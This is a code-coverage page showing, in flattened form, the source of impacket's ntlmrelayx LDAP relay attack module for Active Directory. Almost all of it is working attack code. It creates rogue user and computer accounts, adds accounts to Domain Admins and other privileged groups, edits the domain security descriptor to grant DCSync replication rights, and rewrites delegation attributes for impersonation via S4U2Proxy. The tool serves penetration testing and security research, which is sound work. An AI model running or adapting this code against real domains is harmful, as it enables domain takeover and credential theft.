Coverage for /private/tmp/im/impacket/impacket/examples/ntlmrelayx/attacks/ldapattack.py : 8%

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# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # LDAP Attack Class # # Authors: # Alberto Solino (@agsolino) # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) # # Description: # LDAP(s) protocol relay attack # # ToDo: #
# This is new from ldap3 v2.5 except ImportError: # We use a print statement because the logger is not initialized yet here print('Failed to import required functions from ldap3. ntlmrelayx required ldap3 >= 2.5.0. \ Please update with pip install ldap3 --upgrade')
# Define global variables to prevent dumping the domain twice # and to prevent privilege escalating more than once """ This is the default LDAP attack. It checks the privileges of the relayed account and performs a domaindump if the user does not have administrative privileges. If the user is an Enterprise or Domain admin, a new user is added to escalate to DA. """
# ACL constants # When reading, these constants are actually represented by # the following for Active Directory specific Access Masks # Reference: https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2
ProtocolAttack.__init__(self, config, LDAPClient, username)
""" Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can also be an OU or other container where we have write privileges """ global alreadyAddedComputer if alreadyAddedComputer: LOG.error('New computer already added. Refusing to add another') return
# Random password newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))
# Get the domain we are in domaindn = domainDumper.root domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]
# Random computername newComputer = (''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper() computerHostname = newComputer[:-1] newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8')
# Default computer SPNs spns = [ 'HOST/%s' % computerHostname, 'HOST/%s.%s' % (computerHostname, domain), 'RestrictedKrbHost/%s' % computerHostname, 'RestrictedKrbHost/%s.%s' % (computerHostname, domain), ] ucd = { 'dnsHostName': '%s.%s' % (computerHostname, domain), 'userAccountControl': 4096, 'servicePrincipalName': spns, 'sAMAccountName': newComputer, 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le') } LOG.debug('New computer info %s', ucd) LOG.info('Attempting to create computer in: %s', parent) res = self.client.add(newComputerDn.decode('utf-8'), ['top','person','organizationalPerson','user','computer'], ucd) if not res: # Adding computers requires LDAPS if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: LOG.error('Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.') else: LOG.error('Failed to add a new computer: %s' % str(self.client.result)) return False else: LOG.info('Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword)) alreadyAddedComputer = True # Return the SAM name return newComputer
""" Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can also be an OU or other container where we have write privileges """ global alreadyEscalated if alreadyEscalated: LOG.error('New user already added. Refusing to add another') return
# Random password newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))
# Random username newUser = ''.join(random.choice(string.ascii_letters) for _ in range(10)) newUserDn = 'CN=%s,%s' % (newUser, parent) ucd = { 'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root, 'distinguishedName': newUserDn, 'cn': newUser, 'sn': newUser, 'givenName': newUser, 'displayName': newUser, 'name': newUser, 'userAccountControl': 512, 'accountExpires': '0', 'sAMAccountName': newUser, 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le') } LOG.info('Attempting to create user in: %s', parent) res = self.client.add(newUserDn, ['top', 'person', 'organizationalPerson', 'user'], ucd) if not res: # Adding users requires LDAPS if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: LOG.error('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.') else: LOG.error('Failed to add a new user: %s' % str(self.client.result)) return False else: LOG.info('Adding new user with username: %s and password: %s result: OK' % (newUser, newPassword))
# Return the DN return newUserDn
global alreadyEscalated # For display only groupName = groupDn.split(',')[0][3:] userName = userDn.split(',')[0][3:] # Now add the user as a member to this group res = self.client.modify(groupDn, { 'member': [(ldap3.MODIFY_ADD, [userDn])]}) if res: LOG.info('Adding user: %s to group %s result: OK' % (userName, groupName)) LOG.info('Privilege escalation succesful, shutting down...') alreadyEscalated = True _thread.interrupt_main() else: LOG.error('Failed to add user to %s group: %s' % (groupName, str(self.client.result)))
global delegatePerformed if targetsam in delegatePerformed: LOG.info('Delegate attack already performed for this computer, skipping') return
if not usersam: usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper) self.config.escalateuser = usersam
# Get escalate user sid result = self.getUserInfo(domainDumper, usersam) if not result: LOG.error('User to escalate does not exist!') return escalate_sid = str(result[1])
# Get target computer DN result = self.getUserInfo(domainDumper, targetsam) if not result: LOG.error('Computer to modify does not exist! (wrong domain?)') return target_dn = result[0]
self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) targetuser = None for entry in self.client.response: if entry['type'] != 'searchResEntry': continue targetuser = entry if not targetuser: LOG.error('Could not query target user properties') return try: sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0]) LOG.debug('Currently allowed sids:') for ace in sd['Dacl'].aces: LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical()) except IndexError: # Create DACL manually sd = create_empty_sd() sd['Dacl'].aces.append(create_allow_ace(escalate_sid)) self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]}) if self.client.result['result'] == 0: LOG.info('Delegation rights modified succesfully!') LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam) delegatePerformed.append(targetsam) else: if self.client.result['result'] == 50: LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) elif self.client.result['result'] == 19: LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) else: LOG.error('The server returned an error: %s', self.client.result['message']) return
global alreadyEscalated if alreadyEscalated: LOG.error('ACL attack already performed. Refusing to continue') return
# Dictionary for restore data restoredata = {}
# Query for the sid of our user self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid']) entry = self.client.entries[0] username = entry['sAMAccountName'].value usersid = entry['objectSid'].value LOG.debug('Found sid for user %s: %s' % (username, usersid))
# Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) alreadyEscalated = True
LOG.info('Querying domain security descriptor') self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)
# Save old SD for restore purposes restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') restoredata['target_sid'] = usersid
secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid)) secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid)) dn = entry.entry_dn data = secDesc.getData() self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls) if self.client.result['result'] == 0: alreadyEscalated = True LOG.info('Success! User %s now has Replication-Get-Changes-All privileges on the domain', username) LOG.info('Try using DCSync with secretsdump.py and this user :)')
# Query the SD again to see what AD made of it self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] newSD = entry['nTSecurityDescriptor'].raw_values[0] # Save this to restore the SD later on restoredata['target_dn'] = dn restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8') restoredata['success'] = True self.writeRestoreData(restoredata, dn) return True else: LOG.error('Error when updating ACL: %s' % self.client.result) return False
output = {} domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] output['config'] = {'server':self.client.server.host,'domain':domain} output['history'] = [{'operation': 'add_domain_sync', 'data': restoredata, 'contextuser': self.username}] now = datetime.datetime.now() filename = 'aclpwn-%s.restore' % now.strftime("%Y%m%d-%H%M%S") # Save the json to file with codecs.open(filename, 'w', 'utf-8') as outfile: json.dump(output, outfile) LOG.info('Saved restore state to %s', filename)
# Find the user's DN membersids = [] sidmapping = {} privs = { 'create': False, # Whether we can create users 'createIn': None, # Where we can create users 'escalateViaGroup': False, # Whether we can escalate via a group 'escalateGroup': None, # The group we can escalate via 'aclEscalate': False, # Whether we can escalate via ACL on the domain object 'aclEscalateIn': None # The object which ACL we can edit } self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(uname), attributes=['objectSid', 'primaryGroupId']) user = self.client.entries[0] usersid = user['objectSid'].value sidmapping[usersid] = user.entry_dn membersids.append(usersid) # The groups the user is a member of self.client.search(domainDumper.root, '(member:1.2.840.113556.1.4.1941:=%s)' % escape_filter_chars(user.entry_dn), attributes=['name', 'objectSid']) LOG.debug('User is a member of: %s' % self.client.entries) for entry in self.client.entries: sidmapping[entry['objectSid'].value] = entry.entry_dn membersids.append(entry['objectSid'].value) # Also search by primarygroupid # First get domain SID self.client.search(domainDumper.root, '(objectClass=domain)', attributes=['objectSid']) domainsid = self.client.entries[0]['objectSid'].value gid = user['primaryGroupId'].value # Now search for this group by SID self.client.search(domainDumper.root, '(objectSid=%s-%d)' % (domainsid, gid), attributes=['name', 'objectSid', 'distinguishedName']) group = self.client.entries[0] LOG.debug('User is a member of: %s' % self.client.entries) # Add the group sid of the primary group to the list sidmapping[group['objectSid'].value] = group.entry_dn membersids.append(group['objectSid'].value) controls = security_descriptor_control(sdflags=0x05) # Query Owner and Dacl # Now we have all the SIDs applicable to this user, now enumerate the privileges of domains and OUs entries = self.client.extend.standard.paged_search(domainDumper.root, '(|(objectClass=domain)(objectClass=organizationalUnit))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True) self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper) # Also get the privileges on the default Users container entries = self.client.extend.standard.paged_search(domainDumper.root, '(&(cn=Users)(objectClass=container))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True) self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)
# Interesting groups we'd like to be a member of, in order of preference interestingGroups = [ '%s-%d' % (domainsid, 519), # Enterprise admins '%s-%d' % (domainsid, 512), # Domain admins 'S-1-5-32-544', # Built-in Administrators 'S-1-5-32-551', # Backup operators 'S-1-5-32-548', # Account operators ] privs['escalateViaGroup'] = False for group in interestingGroups: self.client.search(domainDumper.root, '(objectSid=%s)' % group, attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls) groupdata = self.client.response self.checkSecurityDescriptors(groupdata, privs, membersids, sidmapping, domainDumper) if privs['escalateViaGroup']: # We have a result - exit the loop break return (usersid, privs)
entries = self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) try: dn = self.client.entries[0].entry_dn sid = self.client.entries[0]['objectSid'] return (dn, sid) except IndexError: LOG.error('User not found in LDAP: %s' % samname) return False
standardrights = [ self.GENERIC_ALL, self.GENERIC_WRITE, self.GENERIC_READ, ACCESS_MASK.WRITE_DACL ] for entry in entries: if entry['type'] != 'searchResEntry': continue dn = entry['dn'] try: sdData = entry['raw_attributes']['nTSecurityDescriptor'][0] except IndexError: # We don't have the privileges to read this security descriptor LOG.debug('Access to security descriptor was denied for DN %s', dn) continue hasFullControl = False secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR() secDesc.fromString(sdData) if secDesc['OwnerSid'] != '' and secDesc['OwnerSid'].formatCanonical() in membersids: sid = secDesc['OwnerSid'].formatCanonical() LOG.debug('Permission found: Full Control on %s; Reason: Owner via %s' % (dn, sidmapping[sid])) hasFullControl = True # Iterate over all the ACEs for ace in secDesc['Dacl'].aces: sid = ace['Ace']['Sid'].formatCanonical() if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace['AceType'] != ACCESS_ALLOWED_ACE.ACE_TYPE: continue if not ace.hasFlag(ACE.INHERITED_ACE) and ace.hasFlag(ACE.INHERIT_ONLY_ACE): # ACE is set on this object, but only inherited, so not applicable to us continue
# Check if the ACE has restrictions on object type (inherited case) if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \ and ace.hasFlag(ACE.INHERITED_ACE) \ and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT): # Verify if the ACE applies to this object type inheritedObjectType = bin_to_string(ace['Ace']['InheritedObjectType']).lower() if not self.aceApplies(inheritedObjectType, entry['raw_attributes']['objectClass'][-1]): continue # Check for non-extended rights that may not apply to us if ace['Ace']['Mask']['Mask'] in standardrights or ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL): # Check if this applies to our objecttype if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT): objectType = bin_to_string(ace['Ace']['ObjectType']).lower() if not self.aceApplies(objectType, entry['raw_attributes']['objectClass'][-1]): # LOG.debug('ACE does not apply, only to %s', objectType) continue if sid in membersids: # Generic all if ace['Ace']['Mask'].hasPriv(self.GENERIC_ALL): ace.dump() LOG.debug('Permission found: Full Control on %s; Reason: GENERIC_ALL via %s' % (dn, sidmapping[sid])) hasFullControl = True if can_create_users(ace) or hasFullControl: if not hasFullControl: LOG.debug('Permission found: Create users in %s; Reason: Granted to %s' % (dn, sidmapping[sid])) if dn == 'CN=Users,%s' % domainDumper.root: # We can create users in the default container, this is preferred privs['create'] = True privs['createIn'] = dn else: # Could be a different OU where we have access # store it until we find a better place if privs['createIn'] != 'CN=Users,%s' % domainDumper.root and b'organizationalUnit' in entry['raw_attributes']['objectClass']: privs['create'] = True privs['createIn'] = dn if can_add_member(ace) or hasFullControl: if b'group' in entry['raw_attributes']['objectClass']: # We can add members to a group if not hasFullControl: LOG.debug('Permission found: Add member to %s; Reason: Granted to %s' % (dn, sidmapping[sid])) privs['escalateViaGroup'] = True privs['escalateGroup'] = dn if ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL) or hasFullControl: # Check if the ACE is an OBJECT ACE, if so the WRITE_DACL is applied to # a property, which is both weird and useless, so we skip it if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \ and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT): # LOG.debug('Skipping WRITE_DACL since it has an ObjectType set') continue if not hasFullControl: LOG.debug('Permission found: Write Dacl of %s; Reason: Granted to %s' % (dn, sidmapping[sid])) # We can modify the domain Dacl if b'domain' in entry['raw_attributes']['objectClass']: privs['aclEscalate'] = True privs['aclEscalateIn'] = dn
def aceApplies(ace_guid, object_class): ''' Checks if an ACE applies to this object (based on object classes). Note that this function assumes you already verified that InheritedObjectType is set (via the flag). If this is not set, the ACE applies to all object types. ''' try: our_ace_guid = OBJECTTYPE_GUID_MAP[object_class] except KeyError: return False if ace_guid == our_ace_guid: return True # If none of these match, the ACE does not apply to this object return False
#self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)') #print self.client.entries global dumpedDomain # Set up a default config domainDumpConfig = ldapdomaindump.domainDumpConfig()
# Change the output directory to configured rootdir domainDumpConfig.basepath = self.config.lootdir
# Create new dumper object domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig)
# If specified validate the user's privileges. This might take a while on large domains but will # identify the proper containers for escalating via the different techniques. if self.config.validateprivs: LOG.info('Enumerating relayed user\'s privileges. This may take a while on large domains') userSid, privs = self.validatePrivileges(self.username, domainDumper) if privs['create']: LOG.info('User privileges found: Create user') if privs['escalateViaGroup']: name = privs['escalateGroup'].split(',')[0][3:] LOG.info('User privileges found: Adding user to a privileged group (%s)' % name) if privs['aclEscalate']: LOG.info('User privileges found: Modifying domain ACL')
# If validation of privileges is not desired, we assumed that the user has permissions to escalate # an existing user via ACL attacks. else: LOG.info('Assuming relayed user has privileges to escalate a user via ACL attack') privs = dict() privs['create'] = False privs['aclEscalate'] = True privs['escalateViaGroup'] = False
# We prefer ACL escalation since it is more quiet if self.config.aclattack and privs['aclEscalate']: LOG.debug('Performing ACL attack') if self.config.escalateuser: # We can escalate an existing user result = self.getUserInfo(domainDumper, self.config.escalateuser) # Unless that account does not exist of course if not result: LOG.error('Unable to escalate without a valid user, aborting.') return userDn, userSid = result # Perform the ACL attack self.aclAttack(userDn, domainDumper) return elif privs['create']: # Create a nice shiny new user for the escalation userDn = self.addUser(privs['createIn'], domainDumper) if not userDn: LOG.error('Unable to escalate without a valid user, aborting.') return # Perform the ACL attack self.aclAttack(userDn, domainDumper) return else: LOG.error('Cannot perform ACL escalation because we do not have create user '\ 'privileges. Specify a user to assign privileges to with --escalate-user')
# If we can't ACL escalate, try adding us to a privileged group if self.config.addda and privs['escalateViaGroup']: LOG.debug('Performing Group attack') if self.config.escalateuser: # We can escalate an existing user result = self.getUserInfo(domainDumper, self.config.escalateuser) # Unless that account does not exist of course if not result: LOG.error('Unable to escalate without a valid user, aborting.') return userDn, userSid = result # Perform the Group attack self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) return elif privs['create']: # Create a nice shiny new user for the escalation userDn = self.addUser(privs['createIn'], domainDumper) if not userDn: LOG.error('Unable to escalate without a valid user, aborting.') return # Perform the Group attack self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) return else: LOG.error('Cannot perform ACL escalation because we do not have create user '\ 'privileges. Specify a user to assign privileges to with --escalate-user')
# Perform the Delegate attack if it is enabled and we relayed a computer account if self.config.delegateaccess and self.username[-1] == '$': self.delegateAttack(self.config.escalateuser, self.username, domainDumper) return
# Add a new computer if that is requested # privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota if self.config.addcomputer: self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper) return
# Last attack, dump the domain if no special privileges are present if not dumpedDomain and self.config.dumpdomain: # Do this before the dump is complete because of the time this can take dumpedDomain = True LOG.info('Dumping domain info for first time') domainDumper.domainDump() LOG.info('Domain info dumped into lootdir!')
# Create an object ACE with the specified privguid and our sid nace = ldaptypes.ACE() nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE nace['AceFlags'] = 0x00 acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE() acedata['Mask'] = ldaptypes.ACCESS_MASK() acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS acedata['ObjectType'] = string_to_bin(privguid) acedata['InheritedObjectType'] = b'' acedata['Sid'] = ldaptypes.LDAP_SID() acedata['Sid'].fromCanonical(sid) assert sid == acedata['Sid'].formatCanonical() acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT nace['Ace'] = acedata return nace
# Create an ALLOW ACE with the specified sid nace = ldaptypes.ACE() nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE nace['AceFlags'] = 0x00 acedata = ldaptypes.ACCESS_ALLOWED_ACE() acedata['Mask'] = ldaptypes.ACCESS_MASK() acedata['Mask']['Mask'] = 983551 # Full control acedata['Sid'] = ldaptypes.LDAP_SID() acedata['Sid'].fromCanonical(sid) nace['Ace'] = acedata return nace
sd = ldaptypes.SR_SECURITY_DESCRIPTOR() sd['Revision'] = b'\x01' sd['Sbz1'] = b'\x00' sd['Control'] = 32772 sd['OwnerSid'] = ldaptypes.LDAP_SID() # BUILTIN\Administrators sd['OwnerSid'].fromCanonical('S-1-5-32-544') sd['GroupSid'] = b'' sd['Sacl'] = b'' acl = ldaptypes.ACL() acl['AclRevision'] = 4 acl['Sbz1'] = 0 acl['Sbz2'] = 0 acl.aces = [] sd['Dacl'] = acl return sd
# Check if an ACE allows for creation of users createprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD) if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == b'': return False userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf967aba-0de6-11d0-a285-00aa003049e2' return createprivs and userprivs
# Check if an ACE allows for adding members writeprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP) if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == b'': return writeprivs userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf9679c0-0de6-11d0-a285-00aa003049e2' return writeprivs and userprivs |